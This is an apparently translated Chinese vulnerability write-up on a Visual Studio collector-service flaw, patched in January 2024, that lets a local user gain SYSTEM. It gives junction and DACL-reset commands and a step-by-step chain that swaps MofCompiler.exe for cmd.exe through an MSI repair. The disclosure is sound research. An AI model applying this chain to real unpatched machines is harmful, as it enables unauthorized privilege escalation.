概述
Visual Studio 是 Microsoft 开发的一个复杂而强大的 IDE,具有许多从红队角度来看可能很有趣的功能。
在这篇博文中,我们将探讨VSStandardCollectorService150服务,该服务由 Visual Studio 用于诊断目的并在NT AUTHORITY\SYSTEM上下文中运行,以及如何滥用它来执行任意文件 DACL 重置以提升权限。
漏洞发现
当 Visual Studio 安装并支持 C/C++ 时,将创建VSStandardCollectorService150服务并将其配置为在NT AUTHORITY\SYSTEM上下文中运行,如下所示:
PS C:\\Users\\doom> sc.exe qc VSStandardCollectorService150
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VSStandardCollectorService150
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : "C:\\Program Files (x86)\\Microsoft Visual Studio\\Shared\\Common\\DiagnosticsHub.Collection.Service\\StandardCollector.Service.exe"
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Visual Studio Standard Collector Service 150
DEPENDENCIES :
SERVICE_START_NAME : **LocalSystem**
PS C:\\Users\\doom>
该服务被配置为按需运行,这通常意味着将实现某种形式的 IPC 作为启动服务的触发器(剧透警告,它是 COM 🤮)。
在任何软件中查找文件操作漏洞时,最好首先将软件用于预期目的,然后分析任何特权服务的行为。
在本例中,我们将启动 Sysinternal 的 Procmon 工具并指定Process Name为StandardCollector.Service.exe
接下来,我们将创建一个简单的 C/C++ 应用程序,我们将对其进行调试,这将触发VSStandardCollectorService150服务来收集有关正在调试的应用程序的必要数据:
当我们开始调试进程时,通过按 F5 或通过 GUI,VSStandardCollectorService150服务将启动:
调试开始后,C:\Windows\Temp目录中会创建多个目录和文件,如下面的屏幕截图所示:
当特权服务在内部创建目录时,这通常是一个好兆头,c:\\windows\\temp\\因为新目录默认会继承父文件夹的权限,在这种情况下,低权限用户可以创建子文件夹、文件,更重要的是,在这种情况下,可以创建联结文件夹。
不幸的是,对于我们来说,收集器服务将更改默认继承的权限,仅向使用 Visual Studio 的用户授予读取权限:
PS C:\\Windows\\system32> .\\cacls.exe C:\\Windows\\Temp\\76914557-4A42-4586-B0D9-C8904F9BFEFF.scratch
C:\\Windows\\Temp\\76914557-4A42-4586-B0D9-C8904F9BFEFF.scratch BUILTIN\\Administrators:F
BUILTIN\\Administrators:(OI)(CI)(IO)F
NT AUTHORITY\\SYSTEM:F
NT AUTHORITY\\SYSTEM:(OI)(CI)(IO)F
doompc\\doom:(OI)(CI)(special access:)
READ_CONTROL
SYNCHRONIZE
FILE_GENERIC_READ
FILE_READ_DATA
FILE_READ_EA
FILE_READ_ATTRIBUTES
此外,该服务将通过创建标准用户无法删除的临时文件来实现另一层保护。
该文件是使用APIDELETE_ON_CLOSE中的标志创建的CreateFile,并且不共享对其他进程的任何访问权限。简而言之,这将阻止其他进程打开该文件的句柄,并且一旦句柄关闭,文件将被删除。
到目前为止,我们无法利用任何这些文件操作。下一步是看看当我们停止调试时会发生什么。
结束调试会话后,将创建一个新文件夹,该文件夹使用相同的 GUID,但前面加上字符串Report。在我们的例子中,它看起来像这样C:\\Windows\\Temp\\Report.76914557-4A42-4586-B0D9-C8904F9BFEFF
许多文件操作都在此文件夹中执行,包括文件移动、删除和 dacl 重置。
对我们来说不幸的是,我们之前看到的相同保护机制阻止我们利用这种行为。
深层发掘
在研究VSStandardCollectorService150服务时,我们发现了Microsoft 的这篇文章VSDiagnostics.exe,其中描述了命令行工具以及如何使用它与收集器服务交互。
运行命令行工具会提供一个帮助菜单,其中包含一些有趣的选项:
PS C:\\Program Files\\Microsoft Visual Studio\\2022\\Community> & 'C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe'
Microsoft (R) VS Standard Collector
For a detailed description of each command:
VSDiagnostics <command> /help
Commands:
start <sessionID> [/attach:<pid>[;<pid>;...]] [/launch:<executable> /launchArgs:<executableArgs>] [/loadAgent:<agentCLSID>;<agentName>[;<config>]] [/loadConfig:<configFile>] [/monitor] [/scratchLocation:<folderName>] [/package:[opt | dir]] [/symbolCachePath:<folderName>]
Start a collection session
update <sessionID> [/attach:<pid>[;<pid>;...]] [/detach:<pid>[;<pid>;...]] [/loadAgent:<agentCLSID>;<agentName>[;<config>] ...] [/lifetimeProcess:<pid>]
Update a collection session. This allows addition and removal of target processes and collector agents.
stop <sessionID> /output:<fileName>
Stop a collection session
pause <sessionID>
Pause a collection session
resume <sessionID>
Resume a collection session
status <sessionID>
Display the status of a collection session
postString <sessionID> "<messageString>" /agent:<agentCLSID>
Post a string to a collection agent
expandDiagSession <diagSession>
Expand the DiagSession archive into a subdirectory adjacent to the DiagSession
help
Print out this help message
运行带有标志的启动选项/help可以解释我们拥有的每个选项
PS C:\\Program Files\\Microsoft Visual Studio\\2022\\Community> & 'C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe' start /help
Microsoft (R) VS Standard Collector
Start a collection session
start <sessionID> [/attach:<pid>[;<pid>;...]] [/launch:<executable> /launchArgs:<executableArgs>] [/loadAgent:<agentCLSID>;<agentName>[;<config>]] [/loadConfig:<configFile>] [/monitor] [/scratchLocation:<folderName>] [/package:[opt | dir]] [/symbolCachePath:<folderName>]
<sessionID>
ID of the collection session - this should be a number in the range [0, 255] or a parsable Guid.
/attach:<pid>[;<pid>;...]
Semi-colon-delimited list of process IDs to target
/launch:<executable>
Path to the executable to launch
/launchArgs:<executableArgs>
Arguments for the executable to launch
/loadAgent:<agentCLSID>;<agentName>[;<config>]
Agent to be loaded - this option may be specified multiple times to load multiple agents
/loadConfig:<configFile>
Loads the agents and their configurations specified in the file
/monitor
Monitor the session after it is started - status updates will be displayed and the command will block until the session ends
/scratchLocation:<folderName>
Path to the desired output folder
/package:[opt | dir]
Options for the package flag: 'opt' - Optimized archive format, 'dir' - Directory format
/symbolCachePath:<folderName>
Path to the desired symbol cache folder
似乎/scratchLocation指定了文件/文件夹的创建位置,这非常有趣,稍后会派上用场。
运行以下命令证实了我们的假设,并且服务在参数指定的文件夹中创建了文件/scratchLocation:
PS C:\\Program Files\\Microsoft Visual Studio\\2022\\Community> & 'C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe' start 1 /scratchLocation:C:\\expl
Microsoft (R) VS Standard Collector
Session 1: {0197e42f-003d-4f91-a845-6404cf289e84}
Running
PS C:\\Program Files\\Microsoft Visual Studio\\2022\\Community>
当我们停止诊断会话时,我们可以注意到另一个有趣的事情,VSDiagnostics.exe工具将默认使用优化的存档格式作为输出,而 Visual Studio 使用目录输出:
从上面的屏幕截图中我们可以看到,文件首先从子目录(使用限制性权限创建)移动到父目录(我们在/scratchLocation中指定的文件夹),然后使用SetNamedSecurityInfoW()更改 DACL :
这很有趣,因为 DACL 重置是在具有限制性 DACL 的目录之外完成的,并且文件被移动到我们控制的文件夹中。
寻找漏洞利用原语
此时,我们拥有特权服务更改我们控制的目录内的文件的权限,如果我们能找到一种方法将该目录转换为连接点,我们可以将SetNamedSecurityInfoW重定向到任意文件。这就是指定scrapLocation的能力派上用场的地方。
如果我们可以创建一个连接点,该连接点将指向我们创建的某个随机文件夹,并将 scrapLocation指向连接点,那么SetNamedSecurityInfoW应该遵循它并重定向到任意文件。
PS C:\\> cmd /c mklink /j c:\\expl c:\\expl2
Junction created for c:\\expl <<===>> c:\\expl2
PS C:\\> mkdir C:\\expl2
Directory: C:\\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/10/2024 8:38 AM expl2
我们可以通过启动新的诊断会话并随后停止它来确认这一点:
CreateFile如果我们在 procmon 中看到蓝色标记线,我们可以在通过我们的连接点时看到该服务,因为api 调用的结果是REPARSE,并且我们确认可以将其重定向到系统上的任何文件。
构建漏洞利用
现在我们已经找到了一种将权限更改重定向到系统上任意文件的方法,我们需要做的就是更改PrintConfig.dll的权限并将其加载到特权服务中,对吗?
好吧,没那么快,因为事实证明对SetNamedSecurityInfo 的调用只会将父文件夹权限传播到文件,如下所示:
PS C:\\> cacls.exe C:\\expl2\\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession
C:\\expl2\\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession BUILTIN\\Administrators:(ID)F
NT AUTHORITY\\SYSTEM:(ID)F
BUILTIN\\Users:(ID)R
NT AUTHORITY\\Authenticated Users:(ID)C
这限制了我们的选择,因为滥用任意 dacl 重置的所有公共技术都会利用位于 system32 或子文件夹中的某些 DLL,我们不能滥用这些 DLL,因为该文件将接收限制性 dacl,并且我们将无法修改它。
查看文件系统后,在我们的场景中唯一可能被滥用的目录是c:\\programdata,因为父文件夹是C:授予Authenticated Users组修改权限的驱动器
PS C:\\> icacls c:\\
c:\\ BUILTIN\\Administrators:(OI)(CI)(F)
NT AUTHORITY\\SYSTEM:(OI)(CI)(F)
BUILTIN\\Users:(OI)(CI)(RX)
NT AUTHORITY\\Authenticated Users:(OI)(CI)(IO)(M)
NT AUTHORITY\\Authenticated Users:(AD)
S-1-15-3-65536-1888954469-739942743-1668119174-2468466756-4239452838-1296943325-355587736-700089176:(S,RD,X,RA)
Mandatory Label\\High Mandatory Level:(OI)(NP)(IO)(NW)
滥用 Windows 错误报告服务
利用此漏洞的第一次尝试是滥用 WER 服务为我们创建一个任意文件夹,稍后我们可以通过加载 SxS 程序集来滥用该文件夹。@jonaslyk记录了此技术,他滥用任意文件删除错误来删除C:\\ProgramData\\Microsoft\\Windows\\WER目录并强制 WER 服务重新创建它并创建子文件夹。
在我们的例子中,我们可以使用任意文件 dacl 重置漏洞来控制 WER 目录,将其定向到我们的连接点,创建一个对象管理器符号链接,这将允许我们创建任意目录(在我创建的第一个 PoC 中,它是msiexec.exe.local 目录),将combase.dll放入其中并将其加载到MSIServer服务中。
虽然此 PoC 在本地取得了成功,但 MSRC 无法确认该漏洞,因为他们正在内部版本上进行测试,其中 WER 服务已经具有连接保护并且无法被滥用。
滥用 MSI 修复
在 MSRC 未能确认该漏洞后,我必须找到一种不同的方法来滥用此 dacl 重置。
在查看 ProgramData 目录时,我记得 Visual Studio 将在目录内创建MofCompiler.exeC:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI二进制文件。
该二进制文件与 Visual Studio 内的 WMI 集成相关。这里有趣的是,这个二进制文件将通过 MSI 修复以系统权限执行。
许多程序在安装时会将其安装程序包存储在C:\\windows\\installer目录中,并且这些安装程序通常不会允许低权限用户在修复模式下运行它们,以修复损坏的安装。
Setup WMI ProviderVisual Studio 默认附带的安装程序也是如此。
此安装程序还定义了自定义操作,并且该自定义操作配置为执行C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe二进制文件。
至此,我们就有了可供利用的所有部分,总结一下:
创建一个虚拟目录,VSStandardCollectorService150将在其中写入文件。
创建一个指向新创建目录的联结目录。
通过创建新的诊断会话来触发VSStandardCollectorService150服务。
等待<GUID>.scratch创建目录并创建Report.<GUID>.diagsession指向 的新对象管理器符号链接C:\\ProgramData。
停止诊断会话。
等待Report.<GUID>.diagsession文件移动到父目录并切换连接目录以指向\\RPC Control我们的符号链接正在等待的位置。
睡眠 5 秒钟(不是很重要,但就放在那里吧)。
将联结目录切换为指向虚拟目录。
开始新的诊断会话。
等待<GUID>.scratch创建目录并创建一个Report.<GUID>.diagsession指向的新对象管理器符号链接C:\\ProgramData\\Microsoft
停止诊断会话。
等待Report.<GUID>.diagsession文件移动到父目录并切换连接目录以指向\\RPC Control我们的符号链接正在等待的位置。
更改权限后,我们删除C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe二进制文件。
找到并运行Setup WMI provider修复模式。
等待MofCompiler.exe安装程序创建新的二进制文件并将其替换为 cmd.exe
享受 SYSTEM shell 🙂
一月份修复后,我们无法再重定向SetNamedSecurityInfo API 调用,并且 DACL 重置在受限目录内执行:
此外,在模拟客户端时会移动文件:
时间线
2023 年 7 月 20 日 – 将带有 PoC 的报告发送给 MSRC
07/28/2023 – MSRC 通知我他们不能重现漏洞
2023 年 7 月 28 日 – 发送有关该漏洞的附加信息
08/14/2023 – MSRC 再次通知我他们无法重现漏洞
08/14/2023 – 发送适用于更高版本 Windows Insider Preview 的第二个漏洞
2023 年 8 月 15 日 – MSRC 确认存在漏洞
2023 年 8 月 15 日 – 授予赏金
2023 年 9 月 8 日 – MSRC 修复 2024 年 1 月的时间表
2024 年 1 月 9 日 – 修复已发布